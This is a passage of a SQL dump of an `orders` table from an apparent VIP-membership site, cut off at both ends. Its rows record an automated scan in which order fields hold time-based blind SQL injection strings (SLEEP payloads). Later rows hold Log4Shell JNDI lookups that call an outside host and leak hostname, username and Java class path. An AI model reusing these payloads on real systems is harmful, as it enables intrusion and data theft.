'卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.249', '2026-03-05 04:30:49.249', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049825026', 'MP20260305123049825026', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\")) AND (SELECT*FROM(SELECT(SLEEP(2)))tw', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.195', '2026-03-05 04:30:49.195', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049852824', 'MP20260305123049852824', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))fbax) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.095', '2026-03-05 04:30:49.095', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049976724', 'MP20260305123049976724', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))leaa) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.045', '2026-03-05 04:30:49.045', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050125607', 'MP20260305123050125607', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\")) AND (SELECT*FROM(SELECT(SLEEP(3)))aerp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.132', '2026-03-05 04:30:50.132', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050128234', 'MP20260305123050128234', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" AND (SELECT*FROM(SELECT(SLEEP(2)))fmey) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.640', '2026-03-05 04:30:50.640', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050244918', 'MP20260305123050244918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" AND (SELECT*FROM(SELECT(SLEEP(4)))jiqp) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.874', '2026-03-05 04:30:50.874', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050851542', 'MP20260305123050851542', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))bzay) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.301', '2026-03-05 04:30:50.301', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050896980', 'MP20260305123050896980', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" AND (SELECT*FROM(SELECT(SLEEP(2)))stmr) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.694', '2026-03-05 04:30:50.694', NULL); -INSERT INTO `orders` VALUES ('MP20260305123051858585', 'MP20260305123051858585', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" AND (SELECT*FROM(SELECT(SLEEP(3)))vqsp) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:51.134', '2026-03-05 04:30:51.134', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052271934', 'MP20260305123052271934', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" AND (SELECT*FROM(SELECT(SLEEP(2)))hdyo', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.470', '2026-03-05 04:30:52.470', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052634742', 'MP20260305123052634742', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\")) AND (SELECT*FROM(SELECT(SLEEP(3)))siwu) lim', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.209', '2026-03-05 04:30:52.209', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052774148', 'MP20260305123052774148', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" AND (SELECT*FROM(SELECT(SLEEP(3)))xluz) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.526', '2026-03-05 04:30:52.526', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052964022', 'MP20260305123052964022', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" AND (SELECT*FROM(SELECT(SLEEP(4)))qofb) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.800', '2026-03-05 04:30:52.800', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053081658', 'MP20260305123053081658', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\')) AND (SELECT*FROM(SELECT(SLEEP(3)))idyi) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.322', '2026-03-05 04:30:53.322', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053177534', 'MP20260305123053177534', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" AND (SELECT*FROM(SELECT(SLEEP(4)))jdbp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.783', '2026-03-05 04:30:53.783', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053213642', 'MP20260305123053213642', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))rrsu) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.392', '2026-03-05 04:30:53.392', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053252317', 'MP20260305123053252317', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\')) AND (SELECT*FROM(SELECT(SLEEP(4)))uo', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.711', '2026-03-05 04:30:53.711', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053708980', 'MP20260305123053708980', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))gwbb) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.496', '2026-03-05 04:30:53.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053825266', 'MP20260305123053825266', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\')) AND (SELECT*FROM(SELECT(SLEEP(4)))zqeg) lim', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.448', '2026-03-05 04:30:53.448', NULL); -INSERT INTO `orders` VALUES ('MP20260305123054106015', 'MP20260305123054106015', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))vukh) limit ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:54.657', '2026-03-05 04:30:54.657', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055061717', 'MP20260305123055061717', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\')) AND (SELECT*FROM(SELECT(SLEEP(4)))mzcv) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.248', '2026-03-05 04:30:55.248', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055313406', 'MP20260305123055313406', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\") AND (SELECT*FROM(SELECT(SLEEP(4)))jbsq) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.405', '2026-03-05 04:30:55.405', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055633142', 'MP20260305123055633142', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\") AND (SELECT*FROM(SELECT(SLEEP(3)))mwpv) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.733', '2026-03-05 04:30:55.733', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055810677', 'MP20260305123055810677', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") AND (SELECT*FROM(SELECT(SLEEP(3)))wlvm) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.681', '2026-03-05 04:30:55.681', NULL); -INSERT INTO `orders` VALUES ('MP20260305123055939506', 'MP20260305123055939506', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))ghgr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:55.304', '2026-03-05 04:30:55.304', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056137837', 'MP20260305123056137837', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\") AND (SELECT*FROM(SELECT(SLEEP(4)))dwhz) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.332', '2026-03-05 04:30:56.332', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056707042', 'MP20260305123056707042', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\") AND (SELECT*FROM(SELECT(SLEEP(3)))pkk', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.277', '2026-03-05 04:30:56.277', NULL); -INSERT INTO `orders` VALUES ('MP20260305123056833803', 'MP20260305123056833803', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") AND (SELECT*FROM(SELECT(SLEEP(4)))qeha) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:56.219', '2026-03-05 04:30:56.219', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058213346', 'MP20260305123058213346', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\") AND (SELECT*FROM(SELECT(SLEEP(4)))lcwi) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.749', '2026-03-05 04:30:58.749', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058226910', 'MP20260305123058226910', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' AND (SELECT*FROM(SELECT(SLEEP(3)))kehj) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.911', '2026-03-05 04:30:58.911', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058277683', 'MP20260305123058277683', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' AND (SELECT*FROM(SELECT(SLEEP(3)))hphs) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.801', '2026-03-05 04:30:58.801', NULL); -INSERT INTO `orders` VALUES ('MP20260305123058825973', 'MP20260305123058825973', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' AND (SELECT*FROM(SELECT(SLEEP(2)))somz) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:58.857', '2026-03-05 04:30:58.857', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059019415', 'MP20260305123059019415', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' AND (SELECT*FROM(SELECT(SLEEP(4)))ayho) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.134', '2026-03-05 04:30:59.134', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059077577', 'MP20260305123059077577', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' AND (SELECT*FROM(SELECT(SLEEP(2)))yvze) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.988', '2026-03-05 04:30:59.988', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059166666', 'MP20260305123059166666', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' AND (SELECT*FROM(SELECT(SLEEP(4)))issm', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.066', '2026-03-05 04:30:59.066', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059569867', 'MP20260305123059569867', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\") AND (SELECT*FROM(SELECT(SLEEP(3)))eigz) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.886', '2026-03-05 04:30:59.886', NULL); -INSERT INTO `orders` VALUES ('MP20260305123059892779', 'MP20260305123059892779', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' AND (SELECT*FROM(SELECT(SLEEP(3)))nywf) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:59.017', '2026-03-05 04:30:59.017', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100328088', 'MP20260305123100328088', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\') AND (SELECT*FROM(SELECT(SLEEP(3)))htyf) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.103', '2026-03-05 04:31:00.103', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100542247', 'MP20260305123100542247', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' AND (SELECT*FROM(SELECT(SLEEP(4)))ucpa) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.926', '2026-03-05 04:31:00.926', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100832081', 'MP20260305123100832081', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\') AND (SELECT*FROM(SELECT(SLEEP(3)))epzr) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.597', '2026-03-05 04:31:00.597', NULL); -INSERT INTO `orders` VALUES ('MP20260305123100912729', 'MP20260305123100912729', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') AND (SELECT*FROM(SELECT(SLEEP(3)))gqch) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:00.302', '2026-03-05 04:31:00.302', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101185148', 'MP20260305123101185148', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\') AND (SELECT*FROM(SELECT(SLEEP(4)))rur', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.204', '2026-03-05 04:31:01.204', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101447507', 'MP20260305123101447507', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') AND (SELECT*FROM(SELECT(SLEEP(3)))thnv) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.092', '2026-03-05 04:31:01.092', NULL); -INSERT INTO `orders` VALUES ('MP20260305123101940388', 'MP20260305123101940388', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\') AND (SELECT*FROM(SELECT(SLEEP(4)))iusc) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:01.263', '2026-03-05 04:31:01.263', NULL); -INSERT INTO `orders` VALUES ('MP20260305123102021835', 'MP20260305123102021835', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\') AND (SELECT*FROM(SELECT(SLEEP(3)))fsdp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:02.087', '2026-03-05 04:31:02.087', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103120831', 'MP20260305123103120831', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc AND (SELECT*FROM(SELECT(SLEEP(3)))jmjh) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.424', '2026-03-05 04:31:03.424', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103227578', 'MP20260305123103227578', 'ogpTW5duSAZQhIEcU1dRonZaMskc', ' AND (SELECT*FROM(SELECT(SLEEP(3)))ylza) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.480', '2026-03-05 04:31:03.480', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103317663', 'MP20260305123103317663', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip AND (SELECT*FROM(SELECT(SLEEP(4)))rucx) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.543', '2026-03-05 04:31:03.543', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103354883', 'MP20260305123103354883', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\') AND (SELECT*FROM(SELECT(SLEEP(3)))sxdr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.315', '2026-03-05 04:31:03.315', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103760853', 'MP20260305123103760853', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', ' AND (SELECT*FROM(SELECT(SLEEP(2)))cdye) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.646', '2026-03-05 04:31:03.646', NULL); -INSERT INTO `orders` VALUES ('MP20260305123103899151', 'MP20260305123103899151', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual AND (SELECT*FROM(SELECT(SLEEP(3)))whxg)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:03.596', '2026-03-05 04:31:03.596', NULL); -INSERT INTO `orders` VALUES ('MP20260305123104062766', 'MP20260305123104062766', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, ' AND (SELECT*FROM(SELECT(SLEEP(3)))ensg) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:04.676', '2026-03-05 04:31:04.676', NULL); -INSERT INTO `orders` VALUES ('MP20260305123104075751', 'MP20260305123104075751', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天) AND (SELECT*FROM(SELECT(SLEEP(4)))uvjy) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:04.622', '2026-03-05 04:31:04.622', NULL); -INSERT INTO `orders` VALUES ('MP20260305123105062230', 'MP20260305123105062230', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', ' AND (SELECT*FROM(SELECT(SLEEP(3)))ogib) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:05.728', '2026-03-05 04:31:05.728', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106351983', 'MP20260305123106351983', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:rmi://183.47.120.213:1099/bypass1dcb88e9576ccbf8338e7a990eb4b5f1-/-${hostName}}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.681', '2026-03-05 04:31:06.681', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106399147', 'MP20260305123106399147', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://183.47.120.213:1099/bypass9173e676342', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.468', '2026-03-05 04:31:06.468', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106936299', 'MP20260305123106936299', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://183.47.120.213:1099/bypass7d39c23e52caaf7f4a72f8907e4fb91b-/-${hostName}}', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.413', '2026-03-05 04:31:06.413', NULL); -INSERT INTO `orders` VALUES ('MP20260305123106999552', 'MP20260305123106999552', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:rmi://183.47.120.213:1099/bypass184a50bf6dc', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:06.527', '2026-03-05 04:31:06.527', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107311409', 'MP20260305123107311409', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:ldap://183.47.120.213:1389/jdk18de19af13d2d', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.326', '2026-03-05 04:31:07.326', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107419116', 'MP20260305123107419116', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://183.47.120.213:1389/jdk1825f1eacb46a93bdc1f65b08f05d748a4-/-${hostName}}', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.213', '2026-03-05 04:31:07.213', NULL); -INSERT INTO `orders` VALUES ('MP20260305123107698638', 'MP20260305123107698638', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://183.47.120.213:1389/jdk187cf9894575f', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:07.269', '2026-03-05 04:31:07.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108000393', 'MP20260305123108000393', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.ce9cc09', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.247', '2026-03-05 04:31:08.247', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108249181', 'MP20260305123108249181', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:ldap://183.47.120.213:1389/jdk18d9753acd0ec510e88298984e68cd617a-/-${hostName}}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.194', '2026-03-05 04:31:08.194', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108539306', 'MP20260305123108539306', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '${jndi:ldap://hostname-${hostName}.username-${sys:', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.731', '2026-03-05 04:31:08.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305123108914243', 'MP20260305123108914243', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:ldap://hostname-${hostName}.username-${sys:', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:08.302', '2026-03-05 04:31:08.302', NULL); -INSERT INTO `orders` VALUES ('MP20260305123109339386', 'MP20260305123109339386', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.459d2aae392b0b0cf6909e3af24e317d.4j2.mauu.mauu.me/}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:09.304', '2026-03-05 04:31:09.304', NULL); -INSERT INTO `orders` VALUES ('MP20260305123109626606', 'MP20260305123109626606', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.bae0dd2e', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:09.410', '2026-03-05 04:31:09.410', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110148662', 'MP20260305123110148662', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.b839ca2fbb8c1c484f879e28157a358b.4j2.mauu.mauu.me/}', 'created', NULL, NULL, '', NULL, '2026-03-05 04:31:10.479', '2026-03-05 04:31:10.479', NULL); -INSERT INTO `orders` VALUES ('MP20260305123110173049', 'MP20260305123110173049', 